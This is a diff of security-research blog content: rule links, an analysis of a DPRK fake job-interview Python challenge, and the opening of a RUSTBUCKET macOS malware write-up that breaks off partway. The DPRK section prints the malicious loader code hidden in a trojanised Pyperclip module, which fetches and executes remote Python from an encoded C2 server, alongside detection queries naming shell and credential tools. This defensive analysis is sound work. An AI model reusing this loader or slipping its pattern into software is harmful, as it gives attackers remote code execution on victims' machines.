- [Suspicious Activity from a Control Panel Applet](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_activity_from_a_control_panel_applet.toml)
|
||||
- [Suspicious API Call from a Script Interpreter](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_api_call_from_a_script_interpreter.toml)
|
||||
- [Suspicious API from an Unsigned Service DLL](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/persistence_suspicious_api_from_an_unsigned_service_dll.toml)
|
||||
- [Suspicious Call Stack Trailing Bytes](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_call_stack_trailing_bytes.toml)
|
||||
- [Suspicious Executable Heap Allocation](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_executable_heap_allocation.toml)
|
||||
- [Suspicious Executable Memory Permission Modification](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_executable_memory_permission_modification.toml)
|
||||
- [Suspicious Memory Protection Fluctuation](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_memory_protection_fluctuation.toml)
|
||||
- [Suspicious Memory Write to a Remote Process](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_memory_write_to_a_remote_process.toml)
|
||||
- [Suspicious NTDLL Memory Write](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_ntdll_memory_write.toml)
|
||||
- [Suspicious Null Terminated Call Stack](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_null_terminated_call_stack.toml)
|
||||
- [Suspicious Kernel32 Memory Protection](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_kernel32_memory_protection.toml)
|
||||
- [Suspicious Remote Memory Allocation](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_remote_memory_allocation.toml)
|
||||
- [Suspicious Windows API Call from Virtual Disk or USB](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_from_virtual_disk_or_usb.toml)
|
||||
- [Suspicious Windows API Call via Direct Syscall](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_via_direct_syscall.toml)
|
||||
- [Suspicious Windows API Call via ROP Gadgets](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_via_rop_gadgets.toml)
|
||||
- [Suspicious Windows API Proxy Call](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_proxy_call.toml)
|
||||
- [VirtualProtect API Call from an Unsigned DLL](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_api_call_from_an_unsigned_dll.toml)
|
||||
- [VirtualProtect Call via NtTestAlert](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_call_via_nttestalert.toml)
|
||||
- [VirtualProtect via Indirect Random Syscall](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_via_indirect_random_syscall.toml)
|
||||
- [VirtualProtect via ROP Gadgets](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_via_rop_gadgets.toml)
|
||||
- [Windows API via a CallBack Function](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_windows_api_via_a_callback_function.toml)
|
||||
- [Windows System Module Remote Hooking](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_windows_system_module_remote_hooking.toml)
|
|
@ -0,0 +1,378 @@
|
|||
---
|
||||
title: "Code of Conduct: DPRK’s Python-fueled intrusions into secured networks"
|
||||
slug: "dprk-code-of-conduct"
|
||||
date: "2024-09-18"
|
||||
description: "Investigating the DPRK’s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks."
|
||||
author:
|
||||
- slug: colson-wilhoit
|
||||
image: "dprk-code-of-conduct.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
- slug: attack-pattern
|
||||
- slug: security-research
|
||||
tags:
|
||||
- python
|
||||
- dprk
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
Few threat actors have garnered as much attention and notoriety in the shadowy world of state-sponsored cyber operations as the Democratic People's Republic of Korea (DPRK). DPRK-affiliated threat groups have consistently demonstrated their use of social engineering tactics coupled with tactical capabilities. At the forefront of their arsenal lies an unexpected weapon: Python.
|
||||
|
||||
This versatile programming language, prized for its accessibility and power, has become the tool for DPRK operatives seeking initial access to target systems. These threat actors have successfully penetrated some of the world's most secure networks through a potent combination of meticulously crafted social engineering schemes and elegantly disguised Python code.
|
||||
|
||||
This publication will examine the DPRK's use of social engineering and Python-based lures for initial access. Building on [research published](https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages) by the Reversing Labs team for the campaign they call VMConnect, we'll explore a very recent real-world example, dissect the code, and examine what makes these attacks so effective. By understanding these techniques, we aim to shed light on the evolving landscape of state-sponsored cyber threats and equip defenders with the knowledge to combat them.
|
||||
|
||||
## Key takeaways
|
||||
|
||||
* The sophistication of DPRK's social engineering tactics often involves long-term persona development and targeted narratives.
|
||||
* The use of Python for its ease of obfuscation, extensive library support, and ability to blend with legitimate system activities.
|
||||
* These lures evidence the ongoing evolution of DPRK's techniques, which highlights the need for continuous vigilance and adaptation in cyber defense strategies.
|
||||
* The Python script from this campaign includes modules that allow for the execution of system commands and to write and execute local files
|
||||
|
||||
## RookeryCapital_PythonTest.zip
|
||||
|
||||
This sample is distributed under the guise of a Python coding challenge for a “Capital One” job interview. It contains a known Python module that appears innocent on the surface. This module includes standard clipboard management functionality but also harbors obfuscated code capable of exfiltrating data and executing arbitrary commands.
|
||||
|
||||
Using encoding techniques like Base64 and ROT13, the attacker camouflaged dangerous functionality to evade detection by both human reviewers and automated security scans. The code reaches out to a remote server, downloading and executing commands under the guise of clipboard operations. It is a perfect example of how easily malicious functionality can be masked in standard code.
|
||||
|
||||
We'll analyze this Python application line by line, uncovering how it:
|
||||
|
||||
* Establishes a connection to a malicious server
|
||||
* Executes hidden commands via remote code execution (RCE)
|
||||
* Uses common obfuscation techniques to fly under the radar
|
||||
* Embeds persistent retry mechanisms to ensure successful communication
|
||||
|
||||

|
||||
|
||||
### PasswordManager.py
|
||||
|
||||
This “Python Challenge” is provided via a `.zip` file containing a Python application called “PasswordManager”. This application primarily consists of a main script, `PasswordManager.py`, and two Python modules, `Pyperclip` and `Pyrebase`.
|
||||
|
||||

|
||||
|
||||
Examining the `README.md` file first, it is evident that this is meant to be some sort of interview challenge or assessment, but what immediately piqued our interest were the following lines:
|
||||
|
||||

|
||||
|
||||
This was interesting as they wanted to ensure that the application was run before the user made any changes that may cause certain functionality to break or become noticeable.
|
||||
|
||||
The main `PasswordManager.py` file looks like the makings of a basic Python password manager application. Of course, as we noted above, the application imports two third-party modules (`Pyperclip` and `Pyrebase`) into this main script.
|
||||
|
||||
#### Pyperclip module
|
||||
|
||||
The `Pyperclip` module has two files, `__init__.py` and `__main__.py`.
|
||||
|
||||

|
||||
|
||||
In Python, modules often consist of multiple files, with two important ones being `__init__.py` and `__main__.py`. The `__init__.py` file initializes a Python package, allowing it to function when imported, while the `__main__.py` file allows the module to be run as a standalone program.
|
||||
|
||||
##### __init__.py
|
||||
|
||||
`__init__.py` is the first module to be imported and primarily facilitates clipboard operations on various platforms (Windows, macOS, Linux, etc.). The bulk of this code is designed to detect the platform (Windows, Linux, macOS) and provide the appropriate clipboard handling functions (copy, paste), relying on native utilities (e.g., `pbcopy` for macOS, `xclip` for Linux) or Python libraries (e.g., gtk, PyQt4/PyQt5).
|
||||
|
||||
The imports reveal potentially interesting or suspicious functionality from libraries such as `base64`, `codecs`, `subprocess`, and `tempfile`. The `base64` module provides encoding or decoding capabilities, which can be used to hide or obfuscate sensitive information. When paired with `codecs`, another module often used for encoding or decoding text (in this case, using the ROT13 cipher), it becomes clear that the script is manipulating data to evade detection.
|
||||
|
||||
The presence of the `subprocess` module is particularly concerning. This module allows the script to run system commands, opening the door for executing arbitrary code on the machine. This module can execute external scripts, launch processes, or install malicious binaries.
|
||||
|
||||
The inclusion of the `tempfile module` is also noteworthy. This module creates temporary files that can be written to and executed, a common technique malware uses to hide its tracks. This module suggests the script may be writing content to disk and executing it within a temporary directory.
|
||||
|
||||
```
|
||||
import contextlib
|
||||
import ctypes
|
||||
import os
|
||||
import platform
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import warnings
|
||||
import requests
|
||||
import datetime
|
||||
import platform
|
||||
import codecs
|
||||
import base64
|
||||
import tempfile
|
||||
import subprocess
|
||||
import os
|
||||
```
|
||||
|
||||
**__init__.py imports**
|
||||
|
||||
Analyzing the script a large base64 encoded blob assigned to the variable `req_self` quickly stands out.
|
||||
|
||||
```
|
||||
req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="
|
||||
```
|
||||
|
||||
Decoding this Base64 encoded string reveals an entirely new and self-contained Python script with some very interesting code.
|
||||
|
||||
##### Obfuscated Python Script
|
||||
|
||||
The script imports several standard libraries (e.g., `requests`, `random`, `platform`), allowing it to generate random data, interact with the operating system, encode/decode strings, and make network requests.
|
||||
|
||||
```
|
||||
import string
|
||||
import random
|
||||
import requests
|
||||
import platform
|
||||
from time import sleep
|
||||
import base64
|
||||
import os
|
||||
import codecs
|
||||
```
|
||||
|
||||
**Encoded Python script imports**
|
||||
|
||||
The script contains two functions named `co` and `rand_n`.
|
||||
|
||||
The `co` function operates as a helper function. This function checks the current operating system (`osn`). It uses the `codecs.decode` function with ROT13 encoding to decode the string `Jvaqbjf`, which results in `Windows`. If the operating system is Windows, it returns `0`; otherwise, it returns `1`.
|
||||
|
||||
```
|
||||
def co(osn):
|
||||
if osn == codecs.decode('Jvaqbjf', 'rot13'):
|
||||
return 0
|
||||
else:
|
||||
return 1
|
||||
```
|
||||
|
||||
**`co` function within encoded Python script**
|
||||
|
||||
Decoding ROT13 can easily be done on the macOS or Linux CLI or with the [ROT13 CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=SnZhcWJqZg&oeol=CRLF).
|
||||
|
||||
```
|
||||
$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
|
||||
Windows
|
||||
```
|
||||
|
||||
The `rand_n` function generates an 8-digit pseudorandom number from the string `123456789`. This is likely used as an identifier (`uid`) in further communication with the remote server.
|
||||
|
||||
```
|
||||
def rand_n():
|
||||
_LENGTH = 8
|
||||
str_pool = "123456789"
|
||||
result = ""
|
||||
for i in range(_LENGTH):
|
||||
result += random.choice(str_pool)
|
||||
return result
|
||||
```
|
||||
|
||||
**`rand_n` function within encoded Python script**
|
||||
|
||||
Following the function declarations, the script defines a set of variables with hardcoded values it will use.
|
||||
|
||||
```
|
||||
uid = rand_n()
|
||||
f_run = ""
|
||||
oi = platform.system()
|
||||
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
|
||||
headers = {"Content-Type": "application/json; charset=utf-8"}
|
||||
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))
|
||||
```
|
||||
|
||||
**Encoded Python script variables**
|
||||
|
||||
* `uid`: Random identifier generated using `rand_n()`
|
||||
* `oi`: The operating system platform
|
||||
* `url`: After decoding using ROT13, this resolves to a URL for a malicious server ([https://akamaitechnologies[.]online](https://akamaitechnologies[.]online)). The threat actor is obviously attempting to evade detection by encoding the URL and disguising it as a seemingly legitimate service (Akamai), which is a known CDN provider.
|
||||
* `data`: This is the data payload being sent to the server. It includes a decoded string (`Amazon[.]com`), the random uid, and the result of `co(oi)` which checks if the OS is Windows.
|
||||
|
||||
The last part of the script is the main while loop.
|
||||
|
||||
```
|
||||
while True:
|
||||
try:
|
||||
response = requests.post(url, headers=headers, data=data)
|
||||
if response.status_code != 200:
|
||||
sleep(60)
|
||||
continue
|
||||
else:
|
||||
res_str = response.text
|
||||
if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
|
||||
res = response.text
|
||||
borg = res[10:]
|
||||
dec_res = base64.b64decode(borg).decode('utf-8')
|
||||
|
||||
globals()['pu_1'] = uid
|
||||
globals()['pu_2'] = url
|
||||
exec(compile(dec_res, '', 'exec'), globals())
|
||||
sleep(1)
|
||||
break
|
||||
else:
|
||||
sleep(20)
|
||||
pass
|
||||
|
||||
except:
|
||||
sleep(60)
|
||||
continue
|
||||
```
|
||||
|
||||
**Encoded Python script main while loop**
|
||||
|
||||
The first try block sends an HTTP POST request to the malicious server (url) with the headers and data. If the server responds with a status code other than 200 OK, the script waits 60 seconds and retries.
|
||||
|
||||
Else, if the response starts with the decoded string 'Google.com' and the response length is greater than 15, it extracts a base64-encoded portion of the response. It then decodes this portion and executes the decoded script using `exec(compile(dec_res, '', 'exec'), globals())`. This allows the attacker to send arbitrary Python code to be executed on the victim's machine.
|
||||
|
||||
Towards the end of the loop it sets global variables with the random uid and the URL used in communication with the remote server. This is used later when executing the downloaded payload.
|
||||
|
||||
Now that we understand the purpose of the encoded Python script let's go back to the `__inity__.py` script and break down the function that executes the base64-encoded section.
|
||||
|
||||
##### __inity__.py
|
||||
|
||||
Back within the `__inity__.py` script we can look for any other reference to the `req_self` variable to see what the script does with that encoded Python script. We find one single reference located in a function defined as `cert_acc`.
|
||||
|
||||
```
|
||||
def cert_acc():
|
||||
ct_type = platform.system()
|
||||
l_p = tempfile.gettempdir()
|
||||
|
||||
if ct_type == codecs.decode("Jvaqbjf", stream_method):
|
||||
l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
|
||||
header_ops = codecs.decode(push_opr, stream_method) + l_p
|
||||
else:
|
||||
l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
|
||||
header_ops = codecs.decode(push_ops, stream_method) + l_p
|
||||
|
||||
request_query = open(l_p, 'w')
|
||||
request_object = base64.b64decode(req_self)
|
||||
request_query.write(request_object.decode('utf-8'))
|
||||
request_query.close()
|
||||
try:
|
||||
if ct_type == codecs.decode("Jvaqbjf", stream_method):
|
||||
subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
|
||||
else:
|
||||
subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
|
||||
except:
|
||||
pass
|
||||
cert_acc()
|
||||
```
|
||||
|
||||
```
|
||||
ct_type = platform.system()
|
||||
```
|
||||
|
||||
This variable retrieves the current operating system type (e.g., Windows, Linux, Darwin for macOS) using the `platform.system()` function. The value is stored in the `ct_type` variable.
|
||||
|
||||
```
|
||||
l_p = tempfile.gettempdir()
|
||||
```
|
||||
|
||||
This variable calls the `tempfile.gettempdir() function`, which returns the path to the system's temporary directory. This directory is commonly used for storing temporary files that the system or programs create and then delete upon reboot. The value is assigned to `l_p`.
|
||||
|
||||
The `if-else` block takes advantage of the codecs library decode function using ROT13 to decode the string `Jvaqbjf`, which translates to `Windows`. This checks if the system type is Windows. If the system is Windows, the code appends a ROT13-decoded string (which turns out to be `\eronfr.gzc`, `\rebase.tmp` after decoding) to the temporary directory path `l_p`. It then constructs a command `header_ops`, which likely combines the decoded `push_opr` variable (also using ROT13) with the path.
|
||||
|
||||
If the system is not Windows, it appends a Unix-like file path `/eronfr.gzc` (`/rebase.tmp` after decoding) and similarly constructs a command using `push_ops`. This part of the code is designed to run different payloads or commands depending on the operating system.
|
||||
|
||||
```
|
||||
if ct_type == codecs.decode("Jvaqbjf", stream_method):
|
||||
l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
|
||||
header_ops = codecs.decode(push_opr, stream_method) + l_p
|
||||
else:
|
||||
l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
|
||||
header_ops = codecs.decode(push_ops, stream_method) + l_p
|
||||
```
|
||||
|
||||
The next several statements, starting with `request_`, serve to write the Base64-encoded Python script we have already analyzed to` disk in the temporary directory. This code opens a new file in the temporary directory (`l_p`), which was previously set depending on the system type. The variable `req_self` (also a Base64-encoded string) is decoded into its original form. The decoded content is written into the file, and the file is closed.
|
||||
|
||||
```
|
||||
request_query = open(l_p, 'w')
|
||||
request_object = base64.b64decode(req_self)
|
||||
request_query.write(request_object.decode('utf-8'))
|
||||
request_query.close()
|
||||
```
|
||||
|
||||
The function's final `try` block facilitates the execution of the encoded Python script.
|
||||
|
||||
If the system type is Windows, the code attempts to execute the file (constructed in `header_ops`) using the `subprocess.Popen function`. The `DETACHED_PROCESS` flag ensures that the process runs independently of the parent process, making it harder to track.
|
||||
|
||||
If the system is not Windows, it runs the file using a different execution method (`subprocess.Popen` with `shell=True`), which is more common for Unix-like systems (Linux/macOS). The `preexec_fn=os.setpgrp` makes the process immune to terminal interrupts, allowing it to run in the background.
|
||||
|
||||
```
|
||||
try:
|
||||
if ct_type == codecs.decode("Jvaqbjf", stream_method):
|
||||
subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
|
||||
else:
|
||||
subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
|
||||
except:
|
||||
pass
|
||||
```
|
||||
|
||||
The `cert_acc` function executes the obfuscated Python script, which retrieves commands to be executed within the cert_acc function.
|
||||
|
||||
The script within the `Pyperclip` package exhibits clear signs of malicious behavior, using obfuscation techniques like ROT13 and Base64 encoding to hide its true intent. It identifies the operating system and adapts its actions accordingly, writing to disk and executing an obfuscated Python script in the system’s temporary directory. The script establishes communication with a remote server, enabling remote code execution (RCE) and allowing the attacker to send further commands. This carefully concealed process ensures the script runs stealthily, avoiding detection while maintaining effective C2 (Command and Control) over the infected machine.
|
||||
|
||||
#### Campaign intersections
|
||||
|
||||
When we found this sample, we also came across additional samples that matched its code implementation and previous campaign lures we have observed in the wild.
|
||||
|
||||
This lure again masquerades as a Python coding challenge delivered under the guise of a job interview. Its Python code implementation matches exactly the code we’ve analyzed above, and based on description and filename, it matches the lure described by Mandiant as “[CovertCatch](https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists).”
|
||||
|
||||
The next lure is different from the previous ones but matches the Python code implementation we have seen and written about previously. Last year, we brought to light the malware known as “[KandyKorn](https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn)” that targeted CryptoCurrency developers and engineers.
|
||||
|
||||
## Detection, Hunting and Mitigation Strategies
|
||||
|
||||
Detecting and mitigating this type of obfuscated malicious code and its behavior requires a combination of proactive security measures, monitoring, and user awareness.
|
||||
|
||||
The best mitigation strategy against these lures and initial access campaigns is to educate your users regarding the extensive, targeted methods threat actors, like the DPRK, employ to gain code execution. Knowledge regarding these campaigns and being able to recognize them combined with a strong emphasis on proper code analysis before execution, especially when it comes to 3rd party applications like this, from “recruiters”, “developer forums”, “Github”, etc., will provide a strong foundation of defense against these attacks.
|
||||
|
||||
Regarding this sample specifically, there are a few different detections we can write surrounding the behavior of the code execution mechanism and the potential resulting use cases associated with that activity. While these queries are macOS-specific, you can take them and alter them to detect the same activity on Windows as well.
|
||||
|
||||
### [Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection
|
||||
|
||||
```
|
||||
sequence by process.parent.entity_id with maxspan=3s
|
||||
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
|
||||
and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
|
||||
[network where event.type == "start"]
|
||||
```
|
||||
|
||||

|
||||
|
||||
This rule looks for the specific behavior exhibited when the `__init__.py` sample writes the obfuscated Python script to disk and utilizes the `subprocess.Popen` method, setting the shell variable equal to True to execute the Python script that connects to a remote server to retrieve and execute commands.
|
||||
|
||||
### [Hunt] Python Executable File Creation in Temporary Directory
|
||||
|
||||
```
|
||||
file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
|
||||
and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")
|
||||
```
|
||||
|
||||
If the threat actor attempts to use this functionality to download an executable payload within the temporary directory already specified in the script, we could use this rule to look for the creation of an executable file in a temporary directory via Python.
|
||||
|
||||
### [Hunt] Interactive Shell Execution via Python
|
||||
|
||||
```
|
||||
process where host.os.type == "macos" and event.type == "start" and event.action == "exec"
|
||||
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
|
||||
and process.args == "-i" and process.args_count == 2
|
||||
```
|
||||
|
||||
The threat actor could use the execution functionality to open an interactive shell on the target system to carry out post-exploitation actions. We have seen nation-state actors employ an interactive shell like this. We could use this rule to look for the creation of this interactive shell via Python.
|
||||
|
||||
### [Hunt] Suspicious Python Child Process Execution
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
|
||||
and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")
|
||||
```
|
||||
|
||||
The threat actor could also use this code execution capability to directly execute system binaries for various post-exploitation goals or actions. This rule looks for the direct execution of some local system tools that are not commonly used, especially via Python.
|
||||
|
||||
## Conclusion and Future Trends
|
||||
|
||||
As we've explored throughout this analysis, the Democratic People's Republic of Korea (DPRK) has emerged as a formidable force in state-sponsored cyber operations. Combining social engineering with Python-based lures, their approach has proven successful in organizations with wide-ranging security maturity.
|
||||
|
||||
Their use of Python for initial access operations is a testament to the evolving nature of cyber threats. By leveraging this versatile and widely used programming language, threat actors have found a powerful tool that offers both simplicity in development and complexity in obfuscation. This dual nature of Python in their hands has proven to be a significant challenge for cybersecurity defenders.
|
||||
|
||||
Our deep dive into this recent sample has provided valuable insights into DPRK threat actors' current tactics, techniques, and procedures (TTPs). This case study exemplifies how social engineering and tailored Python scripts can work in tandem as highly effective initial access vectors.
|
||||
|
||||
As state-sponsored cyber operations advance, the insights gained from studying DPRK's methods become increasingly valuable. Cybersecurity professionals must remain alert to the dual threat of social engineering and sophisticated Python-based tools. Defending against these threats requires a multi-faceted approach, including robust technical controls, comprehensive staff training on social engineering tactics, and advanced threat detection capabilities focused on identifying suspicious Python activities.
|
||||
|
||||
As we move forward, fostering collaboration within the cybersecurity community and sharing insights and strategies to counter these sophisticated threats is crucial. We hope to stay ahead in this ongoing cyber chess game against state-sponsored actors like the DPRK through collective vigilance and adaptive defense mechanisms.
|
||||
|
||||
|
||||
### Resources
|
||||
|
||||
* [Fake recruiter coding tests target devs with malicious Python packages](https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages)
|
||||
* [Threat Assessment: North Korean Threat Groups](https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/)
|
||||
* [DeFied Expectations — Examining Web3 Heists | Google Cloud Blog](https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists)
|
||||
* [Elastic catches DPRK passing out KANDYKORN — Elastic Security Labs](https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn)
|
|
@ -0,0 +1,344 @@
|
|||
---
|
||||
title: "The DPRK strikes using a new variant of RUSTBUCKET"
|
||||
slug: "DPRK-strikes-using-a-new-variant-of-rustbucket"
|
||||
date: "2023-07-14"
|
||||
subtitle: "A DPRK campaign using a new variant of the RUSTBUCKET malware is underway with updated capabilities and reduced signature detection."
|
||||
description: "Watch out! We’ve recently discovered a variant of RUSTBUCKET. Read this article to understand the new capabilities we’ve observed, as well as how to identify it in your own network."
|
||||
author:
|
||||
- slug: salim-bitam
|
||||
- slug: ricardo-ungureanu
|
||||
- slug: colson-wilhoit
|
||||
- slug: seth-goodwin
|
||||
- slug: andrew-pease
|
||||
image: "photo-edited-12@2x.jpg"
|
||||
category:
|
||||
- slug: attack-pattern
|
||||
- slug: activity-group
|
||||
tags:
|
||||
- ref9135
|
||||
- rustbucket
|
||||
- dprk
|
||||
- bluenoroff
|
||||
- cryptocurrency
|
||||
- apt38
|
||||
---
|
||||
## Key takeaways
|
||||
- The RUSTBUCKET malware family is in an active development phase, adding built-in persistence and focusing on signature reduction.
|
||||
- REF9135 actors are continually shifting their infrastructure to evade detection and response.
|
||||
- The DPRK continues financially motivated attacks against cryptocurrency service providers.
|
||||
- If you are running Elastic Defend, you are protected from REF9135
|
||||
|
||||
|
||||
## Preamble
|
||||
The Elastic Security Labs team has detected a new variant of the RUSTBUCKET malware, a family that has been previously attributed to the BlueNorOff group by [Jamf Threat Labs](https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/) in April 2023.
|
||||
|
||||
This variant of RUSTBUCKET, a malware family that targets macOS systems, adds persistence capabilities not previously observed and, at the time of reporting, is undetected by VirusTotal signature engines. Elastic Defend behavioral and prebuilt detection rules provide protection and visibility for users. We have also released a signature to prevent this malware execution.
|
||||
|
||||
The research into REF9135 used host, binary, and network analysis to identify and attribute intrusions observed by this research team, and other intelligence groups, with high confidence to the Lazarus Group; a cybercrime and espionage organization operated by the Democratic People’s Republic of North Korea (DPRK).
|
||||
|
||||
This research will describe:
|
||||
|
||||
- REF9135’s use of RUSTBUCKET for sustained operations at a cryptocurrency payment services provider
|
||||
- Reversing of an undetected variant of RUSTBUCKET that adds a built-in persistence mechanism
|
||||
- How victimology, initial infection, malware, and network C2 intersections from first and third-party collection align with previous Lazarus Group reporting
|
||||
|
||||
|
||||
## RUSTBUCKET code analysis
|
||||
|
||||
|
||||
### Overview
|
||||
Our research has identified a persistence capability not previously seen in the RUSTBUCKET family of malware, leading us to believe that this family is under active development. Additionally, at the time of publication, this new variant has zero detections on VirusTotal and is leveraging a dynamic network infrastructure methodology for command and control.
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
### Stage 1
|
||||
During Stage 1, the process begins with the execution of an AppleScript utilizing the **%2Fusr%2Fbin%2Fosascript** command. This AppleScript is responsible for initiating the download of the Stage 2 binary from the C2 using cURL. This session includes the string **pd** in the body of the HTTP request and **cur1-agent** as the User-Agent string which saves the Stage 2 binary to **%2Fusers%2Fshared%2F.pd,** ([7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8](https://www.virustotal.com/gui/file/7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8)).
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
### Stage 2
|
||||
The Stage 2 binary ( **.pd** ) is compiled in Swift and operates based on command-line arguments. The binary expects a C2 URL to be provided as the first parameter when executed. Upon execution, it invokes the **downAndExec** function, which is responsible for preparing a POST HTTP request. To initiate this request, the binary sets the User-Agent string as **mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)** and includes the string **pw** in the body of the HTTP request.
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
During execution, the malware utilizes specific macOS APIs for various operations. It begins with [NSFileManager's](https://developer.apple.com/documentation/foundation/nsfilemanager) **temporaryDirectory** function to obtain the current temporary folder, then generates a random UUID using [NSUUID's](https://developer.apple.com/documentation/foundation/nsuuid) **UUID.init** method. Finally, the malware combines the temporary directory path with the generated UUID to create a unique file location and writes the payload to it.
|
||||
|
||||
Once the payload, representing Stage 3 of the attack is written to disk, the malware utilizes [NSTask](https://developer.apple.com/documentation/foundation/nstask) to initiate its execution.
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
### Stage 3
|
||||
In Stage 3, the malware ([9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747](https://www.virustotal.com/gui/file/9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747)) is a FAT macOS binary that supports both ARM and Intel architectures written in Rust. It requires a C2 URL to be supplied as a parameter.
|
||||
|
||||
The malware initiates its operations by dynamically generating a 16-byte random value at runtime. This value serves as a distinctive identifier for the specific instance of the active malware. Subsequently, the malware proceeds to gather comprehensive system information, including:
|
||||
|
||||
- Computer name
|
||||
- List of active processes
|
||||
- Current timestamp
|
||||
- Installation timestamp
|
||||
- System boot time
|
||||
- Status of all running processes within the system
|
||||
|
||||
The malware establishes its initial connection to the C2 server by transmitting the gathered data via a POST request. The request is accompanied by a User-Agent string formatted as **Mozilla%2F4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident%2F4.0)**.
|
||||
|
||||
Upon receiving the request, the C2 server responds with a command ID, which serves as an instruction for the malware. The malware is designed to handle only two commands.
|
||||
|
||||
|
||||
|
||||
#### Command ID 0x31
|
||||
This command directs the malware to self-terminate.
|
||||
|
||||
|
||||
|
||||
#### Command ID 0x30
|
||||
This command enables the operator to upload malicious Mach-O binaries or shell scripts to the system and execute them. The payload is stored in a randomly generated temporary path and created within the current user TMP directory following the naming convention of **`$TMPDIR%2F.\<8 random digits\>`**
|
||||
|
||||
